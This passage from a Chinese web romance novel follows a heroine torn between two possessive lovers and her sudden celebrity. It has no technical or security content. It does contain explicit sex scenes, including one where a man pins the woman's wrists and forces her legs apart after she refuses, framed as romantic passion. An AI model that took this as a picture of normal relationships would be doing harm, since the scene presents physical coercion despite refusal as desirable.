方隐年低首垂眸,静静地看着她漫不经心的笑脸。 又是这样,仿佛什么人或事都入不了她的心。 她似乎对所有男人都一样,只会冷眼旁观他们的挣扎和争斗。 无情至极。 思及至此,方隐年凤眸幽深,一时间难以自控,一把抱住她吻了上去。 姜以柔一开始还无所谓,甚至好心情地回应了他。直到她感觉有些喘不过气,想要挣脱开来。 然而,方隐年又是那副强势的做派,他牢牢地箍着她的腰,唇舌放肆掠夺,控制欲惊人。 姜以柔挣了几次没挣开,瞬间心头火起。 她最讨厌这种感觉。 下一秒,一个清脆的巴掌声打破了他们之间的旖旎。 姜以柔面泛桃色,一双眸子因动情而差点洇出泪花,但眸底却闪烁着冷意。 姜以柔一巴掌甩在方隐年的脸上,眼尾因愤怒而泛起薄红。 她冷冷地盯着方隐年,微哑的嗓音透着寒意: “方隐年,我是不是给你脸了?” 姜以柔这一巴掌用了全力,没有丝毫留手,跟之前那种近乎娇嗔的巴掌可完全不一样。 方隐年被打得微微偏过头,微垂的眼睫掩住了他眸底的暗色。他用舌尖顶了顶腮侧,若无其事地转过头看向姜以柔,淡声问道:“怎么又生气了?” 姜以柔挑了挑眉,差点被他气笑了。 他还好意思问她为什么生气? 他刚才疯狗似的吻她,亲得她嘴唇都痛了。 而且在回来的路上,她明明已经跟方隐年强调过,他们的关系必须瞒着身边的人。 哪怕网上都在传他们俩已经在一起了,但是在她的家人以及谢凛面前时,只能咬死了是误会,两人之间并没有实质性的关系。 可方隐年嘴上答应得好好的,刚才却敢试探她的底线,这阳奉阴违的做派让姜以柔很生气。 所以,姜以柔后退两步跟他拉开距离,冷声警告道:“再有下次,小三都轮不到你做。” 方隐年的胸膛剧烈起伏几瞬,黑沉沉的凤眸中渐渐积蓄起风暴。他深吸一口气,尽量平静地问道:“为什么?” 姜以柔挑眉反问道:“什么为什么?” 方隐年一步跨到她面前,高大的身形在她头顶投下一片阴影,极有压迫感。 方隐年眼眸微垂,紧紧盯着她,哑声道:“为什么一定要隐瞒呢?” 他猛地抓住姜以柔的手,缓缓收紧,沉声道:“跟我公开吧,我可以给你一切。” 他想了想,补充道:“谢凛和镜麒,我都可以解决,你不用担心……” 他话音未落,姜以柔就一把甩开他的手,满脸不耐之色,而她的回应丝毫不留余地:“不行。” 方隐年眸色骤沉,他隐忍地抿了抿唇,半晌,执拗地追问道:“为什么?” 姜以柔上下打量着方隐年,将他隐忍的不甘和怒意尽收眼底。 她不由得轻轻嗤笑一声。 方隐年这种人,她最是清楚了。 高冷、强势、控制欲极强,但凡他有一个名正言顺的身份,绝对会以雷霆手段清理掉她身边的其他男人。 还会越发蹬鼻子上脸,妄图掌控她的社交圈…… 姜以柔前世有一任丈夫就是这副德性,最后她忍无可忍把人踹了。 当然,方隐年不一定能解决掉谢凛,毕竟原著里写的是反派谢凛以极快的速度成长起来后,跟方家打得有来有回。 但是姜以柔不想看这两个男的打来打去,那只会影响她的心情。 所以,还是维持现状吧。 既然方隐年是后来的那一个,那就老老实实当个暗处的小三好了。 所有人都省心。 当然,姜以柔懒得跟方隐年多费口舌解释这么多。 所以面对方隐年的质问,她只轻飘飘扔下一句话:“因为我更喜欢谢凛一点,不想让他难过。” 杀人诛心,不过如此。 看着方隐年骤然僵硬的神情,姜以柔满意地勾了勾唇角,她眼底没有几分真情,只有故意使坏的狡黠。 说完,她懒得搭理方隐年,随口说道:“行了,你回去吧。” 她今天已经看够了方隐年这张脸,暂时不想再看见他。 方隐年深吸一口气,慢慢地从那股锥心之痛中缓过神来。 他闭了闭眼睛,再睁开时眸底一片凉薄。 他当然不会就这么离开。 方隐年一把抱住她,不等姜以柔对他拳打脚踢,他的吻已经铺天盖地地落了下来。 方隐年熟练地抚慰她、取悦她,用唇舌将她送上了快乐的巅峰。 这下子,姜以柔浑身香汗淋漓,身体软得厉害,再没了推拒他的力气。 方隐年从她腿间直起身体,轻轻覆在了她的身上,而他的凶器已然蓄势待发。 然而,就在方隐年即将进入时,姜以柔突然合拢了双腿,拒绝了他。 方隐年顶着满头的汗水,凤眸赤红,泛着隐忍的血丝,死死盯着她。 姜以柔轻轻喘着气,潋滟的眸子漾着满足后的水光。 她睨了方隐年一眼,娇声道:“不许进来。” 方隐年微微一怔,蹙眉问道:“为什么?” 他面色发紧,一副箭在弦上的隐忍之色。 姜以柔眼皮微撩,漫不经心地说道:“谢凛就快回来了,会被他发现的。” 短暂的愣怔后,方隐年瞬间沉了脸,幽黑的凤眸中有风雨欲来的怒意在不断积蓄。 第106章 方隐年缓缓俯身, 像一只逼近猎物的狼。同时,他膝盖用力一顶,姜以柔那双并拢的长腿便被强行打开。 方隐年靠近她, 薄唇几乎贴上她的唇,说话时气息灼热,似情人间的呢喃, 可说出口的内容却带着股彻骨的寒意: “那我怎么办?” 说着, 他缓缓挺身,张牙舞爪地近乎侵入。 姜以柔脸色一变, 不敢置信地瞪着他,开始手脚并用地挣扎起来。她愤怒地红了脸,娇斥道:“滚下去!敢进来你就完了……” 姜以柔的力道当然敌不过方隐年, 他一只手掌就可以攥住她的两只腕子, 随便按在头顶便让她动弹不得。 方隐年死死盯着她,修长的凤目里几乎洇出血色,透着股疯狂的痛意。 一想到姜以柔是为了那个叫谢凛的男人才拒绝他,方隐年简直恨不得想杀人。 凭什么他要一再退让。 方隐年抬手抚上姜以柔的脸颊, 浓烈的嫉恨快要将他淹没, 让他手掌都在微微颤抖。 可是姜以柔却猛地别开脸,嫌弃地皱眉瞪着他,娇美的面上带着显而易见的抗拒。 方隐年呼吸一滞, 眸底染上些许自嘲。 她就不能……稍微爱一下他吗? 方隐年胸膛剧烈起伏几瞬,突然掐住她的下颌, 不顾一切地吻了上去, 近乎疯狂地掠夺着她口中的香甜。 姜以柔紧皱着眉头,手脚并用地挣扎,甚至狠狠咬了他一口。 血腥气在两人的唇间漫开, 可即便是这样,方隐年也没有松口。 他就像个不顾一切的疯子,强拉着她在欲海中沉沦。 他们的亲吻像是打架一般,谁都不肯退让,哪怕鲜血淋漓。 一吻毕,两人的呼吸都无比粗重,交缠在一起,在安静的卧室里回荡。 方隐年黑沉沉的凤眸紧紧钉在她脸上,他看着这个无情的女人,恨恨地咬了咬牙。 他仍旧抵着她,带着不甘和试探。 姜以柔被亲得有些失神,大口大口地喘着粗气,她断断续续地开口,娇媚的嗓音带着丝颤意: “方隐年,你要是敢强迫我……” 方隐年微微一怔,唇边泛起一个苦涩的弧度。 他缓缓俯身,在她额间落下一个吻,然后紧紧地抱住了她。 他怎么舍得强迫她。 姜以柔眨了眨眼睛,安静地等了一会儿,见方隐年真的没有下一步了,才稍微松了口气。 方隐年搂着她的那双手臂像是铁箍的,勒得她有些喘不过气,她就不满地挣动了一下。 方隐年却更抱紧了几分,他沙哑的声音响起:“别动。” 姜以柔感受到了下面的威胁,脸色一变,但她却根本不顾忌什么,直接开口骂道:“滚远点!” 她才不管方隐年会不会憋出病来,她只顾着自己舒服,用力想要挣脱他的怀抱。 “松开,我都喘不过气了……”姜以柔不满地抱怨道。 方隐年腮侧微鼓,气得直咬牙,却拿她没办法,只能任她换了个更舒服的姿势。 他自己则苦苦忍耐着,别无他法。 * 自从参加了圣维尔的校庆,接下来的几天里,姜以柔几乎没有一刻安宁—— 她的手机都快被打爆了。 很多人不知道从哪里搞来了她的手机号,各种消息涌入,姜以柔的手机都快卡死了。 她不得不将手机关机,才隔绝了那些骚扰。 期间不乏有人仗着自己的权势,或威逼或利诱,想要得到姜以柔。 在方隐年以雷霆手段整治了几个不长眼的人之后,才慢慢消停下来。 只有在这个时候,总是看方隐年不顺眼的她,才会对他有几分好脸色。 但除了这些令人心生厌恶的骚扰之外,还有一些朝姜以柔抛来的橄榄枝——来自各种娱乐公司、MCN以及各种奢侈品公司…… 不止张哥一个人看中了姜以柔身上爆红的潜质,事实上,有眼睛的人都能看出这一点! 姜以柔在校庆上短短五分钟的演讲,已经让她这张脸传遍了网络,她甚至能让人觉得,天王巨星顾星延都不一定配得上她,可想而知那张脸有多大的杀伤力。 姜以柔演讲时穿的那条绿裙子,已经被无数人盯着扒是哪一家的高定。 当得知那条裙子来自一个高中生的设计后,那名叫林静韵的小设计师瞬间一炮而红,收到了无数品牌的邀约。 要知道林静韵只是一个十几岁的高中生,哪怕她获得过国际大奖,但更多的还是仰仗父母的荫蔽,可是这一次,就因为姜以柔穿了她设计的裙子,这个十几岁的女孩真正在时尚界站稳了脚跟,成为了一颗冉冉升起的新星。 那条绿裙子的各种仿品已经卖爆了,姜以柔当天戴的首饰、穿的鞋子也都被人扒出了品牌。 除了顾星延送的那条绿翡翠项链是过于昂贵的孤品,其他同款的销量都达到了一个惊人的数字。 这种引领风潮的带货能力,简直堪称恐怖,甚至连顾星延这个红了十年的天王巨星都做不到如此地步。 所以,往常那些眼高于顶的蓝血奢牌,如今倒是争先恐后地联系姜以柔,或是想请她做全球代言人,或是想请她走秀、拍摄广告,他们无比想要获得姜以柔的青睐。 因为他们完全可以预见,如果姜以柔能穿着他们的衣服或者戴着他们的首饰亮个相……不敢想今年的财报会有多好看! 于是,各大品牌的衣物、首饰、鞋子流水一样送到了姜以柔那里。 不需要她花一分钱。 这就是顶级美貌的恐怖变现能力。 姜以柔现在再也不需要计算自己的卡里还有多少余额,更不需要像刚穿过来时那样,从方镜麒这位大少爷的手里坑钱,不管她想要什么,只要说句话就有了。 哪怕别人不能给她的,方隐年和谢凛也会拼尽全力给她一切。 姜以柔对此非常满意—— 这种生活才是她应该过的! 只是,她依旧还是遇到了一些麻烦。 她的家庭住址泄露了,经常能看到一些鬼鬼祟祟的人在外面徘徊,甚至有人举着相机光明正大地守在小区外面,只等着姜以柔出现。 是的,姜以柔现在也有所谓的站哥站姐了,甚至她的高清照片能卖出天价。 或者说,从姜以柔公开露面的那一刻起,她的生活就注定不可能再恢复以往的平静。 对此,姜以柔不胜其扰,所以在方隐年提出给她另外找住处的时候,她想都没想就同意了。 于是校庆后的第三天,姜以柔便从那间高档三居室,搬到了方家的半山别墅…… 别墅区的私密环境再加上方隐年布置的安保,直接挡住了所有心怀不轨的人,姜以柔终于不用在为那些小事烦恼了。 就是姜父姜母明显不太适应如此豪华的别墅,一进去就束手束脚的,姜渔看起来也不太自在,而且她上学时麻烦了许多。 姜以柔倒是适应良好,一到就毫不客气地占据了主卧。 她悠闲地打量自己的新卧室时,方隐年就在旁边静静地看着她,冷肃的脸庞难得温和,望向她的凤眸中漾着笑意。 姜以柔漫不经心地问道:“方镜麒知道我们搬过来了吗?” 提到自家侄子,方隐年笑意微敛,良久才淡声道:“不知道。我让人看好他了,不用担心他会打扰你。” 姜以柔笑了笑,故意说道:“其实我不介意他打扰我。” 方隐年定定地盯着她良久,最后有些无奈地说道:“我介意。” 姜以柔挑了挑眉梢,这才心满意足地轻哼了一声。 呵呵,她最讨厌方隐年在她面前装腔作势了。非得看他低下那高贵的头颅,亲口承认自己阴暗的心思才行。 姜以柔斜睨着他,意味深长地说道:“以后少装。” 姜以柔搬来别墅后,方隐年并没有跟他们一家人住在一起。但是他每天一有空就会过来,跟同居也差不多了。 这天,姜渔放学后一脸古怪地找到姜以柔,犹豫片刻后说道:“那个……谢凛给我班主任打电话了。” 话落,正在给自己倒茶的方隐年动作一顿,几滴热水溅在了桌面上。 他定定地看着手里的茶壶,不动声色地轻轻放回原处。 姜以柔听到便宜闺女说的话后,同样愣了一瞬,差点以为自己听错了,惊诧地反问道:“谁?” “谢凛。” 姜渔嘴角微抽,解释道:“他说他联系不上你,跟我确认你的安全。” 说完之后,姜渔便很有眼色地钻进了自己的房间。 姜以柔恍惚了一瞬,突然意识到一件事—— 她这段时间因为各种骚扰电话,手机不得已一直关着,而谢凛是每天至少会给她打一个电话的,她竟然忘了…… 谢凛都被逼到联系姜渔的班主任了,可见他有多么慌。 姜以柔赶紧把关了三两天的手机打开,几乎是一瞬间,各种未接来电和信息涌入,姜以柔还没来得及查看,有一通电话就打了进来。 正是谢凛打来的。 能在她开机的瞬间就打来电话,谢凛大概是一刻不停地试图联系她吧? 姜以柔赶紧接起电话,手机那头有片刻的凝滞,似乎不敢相信电话接通了。 谢凛微哑急切的嗓音随即响起:“以柔,你没事吧?” 姜以柔听着他嗓音中的疲惫与关切,饶是她这么没心没肺的人,也难得有些愧疚,温声道:“别担心,我没事。” 姜以柔抿了抿唇,解释道:“最近骚扰电话太多,我就直接关机了,让你担心了……” “没事就好。”谢凛当然不会怪她,低声道。 谢凛接着道:“我昨天有派人去你家找你,但他们说那里没人。你去哪儿了?” 姜以柔回答道:“我的住址暴露了,就搬家了。” “你搬去哪里了?安全吗?”谢凛追问道。 姜以柔张了张嘴,刚想要回答,却突然意识到了什么。 就在这时,方隐年慢条斯理地放下茶杯,发出一声清脆的轻响。 姜以柔循声望去,正好撞进他波澜不惊的凤眸中。 方隐年双腿交叠,静静地凝视着她,似乎在好整以暇地等待她的回答。 姜以柔眯着眼睛看向他,突然意识到,从方隐年提出要她搬过来时,大概早就预料到了有这一刻。 姜以柔一时间没说话,手机里便传来谢凛疑惑又焦急的追问。 姜以柔静静地跟方隐年对视良久,视线交汇间,莫名微妙,似乎是在交锋。 良久,姜以柔轻飘飘地移开了视线,她深吸一口气,语气平静地说道:“我搬到方隐年这边了。” 话落,手机里是死一般的寂静,宛如暴风雨前的宁静。 第107章 姜以柔平静地说出自己搬来了方隐年这里, 仿佛不知道这件事会引起多大的波澜。 又或者说,她根本不在乎。 手机那头的谢凛沉默了很久,仿佛天地都安寂了, 空气近乎凝固。 良久,手机里来传来谢凛嘶哑的嗓音。 他语调阴沉,任谁都听得出那压抑着的汹涌怒意: “你这么多天不接我的电话, 就是跟方隐年在一起?” 谢凛这几天从未有一刻停止过联系她, 各种手段都用了,才拐弯抹角地通过姜渔的班主任得到消息。 他在海外因为姜以柔的安危整整三天没合眼的时候, 她竟然一直跟方隐年在一起,甚至还搬去了他家。 哪怕早知道姜以柔素来冷心冷肺,谢凛这一刻还是感到痛彻心扉。 面对谢凛的质问, 姜以柔却格外的理直气壮, 甚至还带了几分委屈: “这几天一直有人盯着我,我害怕嘛!” 她轻哼一声,不悦道:“谁让你不在我身边的……” 旁边,方隐年不动声色地挑了挑眉梢。 是啊, 谁让他不在呢? 说完, 姜以柔便屏息凝神等待着谢凛的反应,可手机里只有他沉重的呼吸声,他并没有说一句话。 想到谢凛这几天一定特别担心她, 可她却将他完全抛到了脑后,姜以柔难得有几分心软。 她想了想, 决定哄哄他:“好啦, 你别生气了。我只是搬到方隐年的房子里而已,我爸妈还有小渔也在呢。方隐年他不跟我们住一起。” 相比起方隐年,她还是挺在乎谢凛的。 毕竟谢凛长得帅身材好, 而且对她全心全意,愿意为她付出一切。虽说同样爱吃醋,但也很好哄。 她暂时还不想失去他。 而方隐年听到她的解释,却倏地沉了眉眼。 她竟然愿意哄那个谢凛…… 要知道,每次方隐年生气的时候,姜以柔别说哄他了,甚至还会笑眯眯地再添一把火。 这么说来……她对那个叫谢凛的男人还真是有几分不一样啊? 方隐年面无表情地想着,再一次被熟悉的嫉妒所支配。 见谢凛一直不说话,姜以柔定了定心神,嗓音又软了几分,问道:“谢凛,你生气了吗?” “要不……我搬走?”姜以柔眸光微闪,半真半假地试探道。 这句话一出,方隐年眸色骤沉,再也坐不住了。他站起身,不疾不徐地走到姜以柔身边。 他从背后揽住她的腰,下颌就贴在她耳边,似是在跟她一起听电话。 姜以柔全副心神都放在了谢凛的身上,她不耐烦地挣动了一下,却没能挣开,干脆也懒得管他,只等着谢凛回答。 过了很久,谢凛低哑的嗓音才从手机里传出: “你先在他那里住着吧。” 他的嗓音低沉嘶哑,似乎处于爆发的边缘,可语调却意外的平静。 姜以柔有些意外地眨了眨眼睛,下意识把心中所想问了出来:“你不介意吗?” 谢凛沉默片刻后,幽幽地说道:“介意。” “但是……”他顿了顿,声音变得有些艰涩,“你的安全更重要。” 姜以柔说的对——谁让他现在不在她身边呢? 姜以柔现在被很多人盯着,跟方隐年在一起能最大程度保护她的安全。 对姜以柔的爱护终究超过了他的私心,谢凛妥协了,连愤怒都泄了大半,很多的是一种无奈和焦灼。 姜以柔眸光微动,嗓音更软了几分,说道:“谢凛,你真好。” 方隐年居高临下地睨着她,将她面上的动容尽收眼底,揽住她腰肢的手不由得紧了紧。 方隐年眸光凛冽,微不可察地轻嗤一声。 他费心费力地帮她搬家、解决麻烦,甚至接送她女儿上学,在她这里却讨不到一点儿好处。 谢凛一个远在千里之外的人,只是故作大度地动动嘴皮子,就能让她夸一句“你真好”? 方隐年幽幽地垂眸看着她,只觉得她脸上甜蜜的笑容是那样刺眼。 那是她给另一个男人的温柔,却从来都吝啬于给他。 方隐年终于忍不住俯身,泄愤般咬住了她的耳垂,但力道也很轻,终究怕弄疼了这个娇气包。 姜以柔的耳朵很敏感,此时突然被含住,差点忍不住轻吟出声。 好在她理智尚存,及时咬住了下唇,将险些溢出的轻哼生生咽了回去。 但即便忍住了,她的心脏还是狂跳起来,紧张感瞬间涌上心头。 姜以柔磨了磨牙,恨恨地踩了方隐年一脚。 方隐年恍若未觉,灼热的唇却更放肆地下移,在她的颈侧流连,带给她更强烈的战栗。 两人像是较劲一般,闷不吭声地对抗着,呼吸都急促了几分。 偏偏这时,手机里再度传来谢凛的嗓音。 “以柔……” 谢凛似乎终于调整好了心绪,再开口时嗓音低缓,比起平日里不近人情的冷冽,莫名多了几分缱绻的意味。 姜以柔听着他磁性的嗓音,立刻被带回了他们曾经快乐的回忆。 每当谢凛压在她身上的时候,就会附在她耳边轻声喊她的名字。 这个寡言冷戾的男人,每次喊她名字的时候却格外温柔。而他的声音越是轻柔,动作就越是凶戾,总是把她撞得恨不得晕过去才好。 姜以柔瞬间回想起那些激烈的、缠绵的回忆,偏偏此时方隐年的吻也落向她更敏感的地方,来自两个男人的双重刺激下,姜以柔腰肢一软,若不是方隐年的手臂撑着,恐怕就要滑落到地上了。 谢凛低低地喊过她的名字后,顿了片刻,沉声继续道:“保护好自己,知道吗?” 姜以柔的大脑有些混乱,下意识地答道:“好……” 谢凛的声音里带了丝循循善诱的意味,继续道:“不光在外面要小心,住在那个人家里……也要小心,知道吗?” 姜以柔愣了愣,不由得失笑。 果然啊,谢凛表面上大局为重,同意她住在方隐年的家里,实际上在意得要命,生怕她被拐走。 姜以柔眯着眼睛笑道:“不放心的话,你就赶紧回来啊。” 谢凛轻轻“嗯”了一声,沉声说道:“我被一些事绊住了脚,放心,我会尽快处理好赶回去的。” “到时候……”谢凛轻声道,“我会找一个更安全的住处,我们搬进去,好吗?” 说完,谢凛便屏息凝神,等待着她的回答。 连方隐年啄吻她的动作都停下了,眸光不定地等待着。 姜以柔几乎没有犹豫,一口应下了:“好。” 她话音刚落,脖颈处便蓦地传来一阵刺痛——方隐年不轻不重地咬了她一口,像是在惩罚她的三心二意。 姜以柔这下没忍住,不由得轻轻“嘶”了一声。 手机那头的谢凛还没来得及为她的答案而欣喜,便立刻担忧地询问道:“怎么了?” 姜以柔转过头狠狠瞪了方隐年一眼,嘴上却对谢凛温和地笑道:“没事,不小心撞了一下。” “小心一点……”谢凛叮嘱道。 姜以柔刚“嗯”了一声,就忍不住蹙起了纤秀的眉头。 方隐年这个狗东西……越来越过分了。 她呼吸略有些急促,很怕被谢凛听出异样,匆匆敷衍了两句,便借口还有事,果断挂了电话。 通话刚一中断,方隐年便将她拦腰抱起,径直往楼上卧室走去。 姜以柔一声惊呼,下意识地揽上了他的脖颈。 当她被方隐年压在床上的时候,她已经被方隐年花样百出的手段弄得浑身无力。 方隐年亲了亲她,俯身便要进入。 姜以柔勉强找回了一丝理智,依旧是推拒着他:“不行……” 方隐年额角大滴大滴的汗水落下,他凤眸猩红,从紧咬的牙缝里挤出几个字:“放心,他短时间内不会回来的。” 姜以柔混沌的大脑清明了一瞬,追问道:“你怎么知道?” 方隐年扯了扯唇角,那笑容却异常冰冷。 姜以柔脑海中灵光一现,失声质问道:“谢凛这么久都没回来……是你搞的鬼?!” 姜以柔就奇怪呢,明明校庆那天,谢凛就说过会立刻赶回来,结果过了这么久都不见人影。 再结合他刚才在电话里说,被一些事情绊住了脚…… 罪魁祸首怕不是方隐年吧?! 方隐年挑了挑眉梢,没有承认,却也没有否认,只沉声说道:“总之,我可以保证他三天之内回不来。所以……” 他凤眸危险地眯起,试探地哑声问道:“要不要?” 姜以柔多少被勾起了馋意,此时难免有些迟疑。 方隐年轻声一笑。 这就是要的意思了。 他也不等姜以柔回答……终于得逞。 姜以柔眼眶微红,软着嗓子抱怨道:“你轻点……” * 两天后,在新家消停了两天的姜以柔,终于还是耐不住寂寞,出门逛街了。 她可不是能宅在家里的性格,她就喜欢热闹繁华的花花世界。 可惜的是,自从校庆过后,姜以柔凭着一张世间难遇的美人面爆火全网,再难以恢复到以前相对平静的生活。 哪怕她特意带了帽子和口罩,将自己裹得严严实实,却还是在商场不幸被人认了出来。 “请问,你……你是姜以柔吗?”一个女孩已经偷偷打量姜以柔很长时间了,终于忍不住上前问道。 姜以柔心头一跳,将帽沿压低了些许,她并不说话,绕过她想要离开。 然而那女孩却也因此确认了她的身份,忍不住兴奋大叫道:“天啊,姜姐姐,真的是你!” 女孩两眼亮晶晶地盯着她,开心得身体都在微微颤抖,“姐姐,能……能给我签个名吗?还有合影!” 姜以柔包裹得很严实,只露出一双波光潋滟的眸子,这女孩仅仅是跟她对视一眼,就激动得差点找不着北。 姜以柔竖起一根手指,试图让她小点声,然而已经晚了,陆续有人听到了他们这边的动静,瞬间全都围了上来。 幸亏姜以柔出门还带了一个保镖,能在涌上来的人群中保护她,然而也只能勉强护住她而已,很难带她冲出人群。 姜以柔万万没想到,她的人气已经高到了这种程度,顿时心里一阵后悔,早知道这样她就不出来了。 最后,保镖护着她躲进了一家店的角落,拼命地为她勉强隔绝出一片“净土”。 此时,围观的群众里甚至有人开了直播,直播间的标题非常直白: “偶遇姜以柔大美女!” 如今的网络,姜以柔就是流量的代名词,那个直播间里瞬间便涌入了大量的人。 【我靠,真的是姜以柔吗?】 【主包你努力凑近点啊,我看不清!】 【我好像看到了!角落里那个戴帽子口罩的是不是啊?】 【我天这里怎么这么多人啊?都冷静一点吧,出事了咋办?】 【虽然但是……如果我能亲眼见到姜以柔,我估计也冷静不了。】 【我现在信“看杀卫玠”是真的了……你们别挤了,伤到姜姐姐我跟你们没完!】 …… 姜以柔趁着保镖帮她挡住众人的空档,先给方隐年发了个消息,但他没有回复。 她这才想起来,方隐年大概是在开会,而他有开会不带手机的习惯。 姜以柔就直接联系了商超的经理,让他调动保安来维持秩序。 商场对这件事极其重视,毕竟万一出现踩踏事件,那他们也吃不了兜着走。 很快就有保安前来疏散人群,拥挤的情况就好了一些,姜以柔这才松了口气。 在工作人员的帮助下,保镖护送着她往外走去,这次顺利了许多,只是速度很慢,总有人锲而不舍地试图靠近她。 “姜姐,我真的特别喜欢你,能合个影吗?” “以柔你太漂亮了,能让我们看看你吗?” “姜姐姐……” 此时此刻,那个开直播的人,直播间热度已经飙升到了不可思议的程度,甚至压过了一个直播宣传代言产品的流量明星,冲到了热度榜第一! 更是有无数人给他打赏礼物,要求他拍得更清楚一点。 这人看着如此多昂贵的礼物入账,瞬间兴奋起来,他仿佛打了鸡血似的,不管不顾地往前冲去。 有这个毅力,倒还真让他冲到了前排。 他激动地伸长手臂,几乎将手机镜头怼到姜以柔的脸上,就为了拍清楚她的盛世美颜。 姜以柔突然被镜头怼脸,极其反感地皱了皱眉头,下意识地想要后退,却避无可避。 而那个开直播的人还在得寸进尺,说道:“姜小姐,跟我们直播间的观众打个招呼吧……” 那手机镜头仿佛甩不脱的狗皮膏药,一直追随着姜以柔的脸。 就在姜以柔几乎忍不可忍时,突然有一只大手猛地盖住了手机镜头。 这是一只属于男人的手,手指修长而有力,上面的青筋和薄茧透着浓浓的荷尔蒙。 那只手握着手机镜头,随着手背上青筋微凸,他一用力便将镜头推开了,出手果决而无情。 还有几个离姜以柔过近的人,也被他毫不留情地推开。 刚才还拥挤的地方,一瞬间以姜以柔为中心,留出了一片真空地带,这一切都是因为这个突然出现的男人。 姜以柔愣愣地抬头看去,看到了一张熟悉的脸。 她顿时惊喜地瞪大了眼眸,立刻投入他的怀中,欣喜道:“谢凛,你回来了!” 谢凛正居高临下地睨视着周围的人,狭长微眯的黑眸中满是警告之意,威压甚浓,刚才还兴奋不已的人群一时间大气不敢出。 不过,在姜以柔朝他扑过来的一瞬间,谢凛冰冷的神情微微融化了。 他反手接住那具柔软的身体,用力抱紧了她,沉声道:“嗯,我回来了。” 周围的人都愣愣地看着他们。 直播间的观众们在短暂的沉寂后,又开始了井喷式的弹幕刷屏: 【卧槽!怎么又来一个男人?!这位是小四吗我请问?:)】 第108章 喧闹的商场里, 在姜以柔最无助的时候,谢凛就这样如天神般突然降临,将她牢牢地护在了怀中。 姜以柔紧紧抱着他劲瘦的腰, 感受着这具健硕身体上那蓬勃的力量,以及那炙热的体温,一颗忐忑无措的心终于彻底安定下来。 姜以柔在他怀中仰起头, 直勾勾地打量着他。 谢凛英俊依旧, 却多了几分落拓之感。那双锋锐的眸子里拉满了血丝,硬朗的下颌上甚至冒出了青色的胡茬, 更透着股属于雄性的荷尔蒙,野性而凌厉。 姜以柔紧紧盯着他,潋滟的眸中泛起些莫名的情绪。 之前还不觉得, 现在亲眼见到了谢凛, 姜以柔才发现…… 她还是有点想他的。 姜以柔默默地紧了紧抱着他的手臂,又把脸埋进了他的胸口,那宽厚结实的胸膛总能给她最大的安全感。 她在他怀中躲避着各种镜头,小声说道:“我想回去。” 谢凛搂紧了她的肩头, 将她护得严严实实, 在垂眸看向她时,凛冽的眸光变得柔软。 “别怕,我带你回去。”谢凛轻抚着她的长发, 温柔得像是在安慰受惊的猫。 当他抬眸望向四周的人群时,原本温和的黑眸转瞬又结了冰, 那一身在地下拳场中血拼出来的煞气, 让人心惊胆战。 那群因姜以柔的美貌而激动忘我的人们,犹如被一盆冷水兜头泼下,被迫恢复了理智。 看着谢凛高大健壮的体格, 还有那身凶狠暴戾的气场,众人终究是有所顾忌,缓慢挪动着后退。 谢凛便揽着姜以柔的肩膀,在另一名保镖的配合下,护送她离开了这里。 期间,当然有人不死心地想凑上前来,毕竟美色足以动人,而像姜以柔这样最极致的美色,是能勾的人铤而走险的。 而对于这种不自量力的人,谢凛从不会留手。 在亲眼目睹了某几个人的下场后,人群更加安静了。他们忌惮于谢凛的凶戾,终于踌躇着不敢再上前。 谢凛揽着姜以柔迅速离开,眼看着他们即将上车,终于有人忍不住出声了。 那是个年轻的女孩子,她一脸纠结地问道:“姜姐姐,这个男人是谁啊?方总和顾哥……会不会生气啊?” 闻言,姜以柔还没什么反应,倒是谢凛蓦地顿住了脚步。 他转过身,居高临下地睨向那个出声的人,鹰隼般锋锐的眸光让那个女生瑟缩了一瞬。 谢凛的唇角扯出一个冰冷的弧度,嗓音沉得如同来自幽冥: “他们有什么资格生气?” 谢凛撂下这样一句话后,便转过身大步离去。 而对于谢凛的这番话,姜以柔的反应就是更加把脑袋埋进他的怀中。 仿佛是默认。 众人面面相觑,都从中品出了些不一般的滋味。 很快,谢凛顺利地将姜以柔送到了车上,在所有人眼巴巴的注视下,他们扬长而去。 对姜以柔来说,这个不怎么愉快的小插曲已然过去,但这件事引发的波澜还在继续,甚至有越发扩大的趋势。 各种直播回放和切片被到处转载,网络上也全是关于这件事的讨论。 【等一下,我以为方总和顾哥喜欢上同一个人已经够离谱了,没想到还有第三个人!】 【离谱啥?你再仔细看看姜姐的脸呢,请问还觉得离谱吗?】 【这种事看建模的啦!】 【@方总,@顾星延,速来,要被偷家了!】 【不得不说,这个小四好帅啊,有种特别雄性的感觉你们懂吗……就不仅仅是男人味,还有种野性,特别迷人。】 【你们确定他是小四吗?没听见人家说吗?“他们有什么资格生气?”这话不是摆明了他才是正宫,另外两位才是小三嘛?!】 【妈的我天塌了,好不容易接受了顾哥做小三的事实,今天突然告诉我他连小三都算不上,只能算小四……】 【顾粉要坚强啊,说不定明天又不知从哪儿冒出来一个男人,你们哥哥就美美变小五了~】 【管他小三小四还是小五的,统统笑纳!!!】 【羡慕姜姐姐,吃得太好了……】 【完了完了,劲敌好多啊,我们顾哥还能如愿吗?】 【格局小了,你要这么想,姜姐的男人越多,顾星延如愿的可能性就越大……】 …… 坐上车之后,姜以柔仍有些惊魂未定。 她缩在谢凛怀里缓了好一会儿,才慢慢镇定下来。 她仰头盯着谢凛,正对上那双满是红血丝的眼睛。 姜以柔抬手摸了摸他硬朗的下颌,那淡青色的胡茬有些扎手。她有些心疼地皱眉道:“你怎么把自己折腾成这个样子?” 谢凛握住她的手,十分自然地在她掌心亲了一下。 姜以柔柔嫩的掌心几乎被他扎得有点痛,忍不住缩了缩手,却没能成功。 谢凛紧了紧她的肩膀,那力道像是恨不得把她揉进身体里,一解相思之苦。 他漫不经心地用唇摩挲着她的手心,淡声解释道:“我差点被限制出境,折腾了一番才回来。” “限制出境?”姜以柔惊讶地眨了眨眼睛,有些后怕地说道,“那你岂不是差点就回不来?” “是啊……”谢凛眸色微沉,低声呢喃道。 拜某人所赐。 谢凛撩起眼皮,冰冷的视线射向驾驶座的那名保镖。 这保镖正是方隐年的人,他正不动声色地透过后视镜打量着谢凛,不期然撞上他的视线后,眼瞳一颤,又赶紧若无其事地移开。 那名保镖紧了紧方向盘,心里发苦,又偷偷地发了条消息。 方总,您怎么还不接电话啊?小心姜小姐被人抢走啊! 谢凛冷嗤一声,漠然移开了视线,他再次看向姜以柔,看着那张令他魂牵梦萦的美丽脸庞,忍不住滚了滚喉结。 他真的很想她。 想得身体都发痛了。 谢凛几乎控制不住想要吻她抱她的冲动,然而有一个碍眼的保镖在一旁,他只能苦苦忍耐。 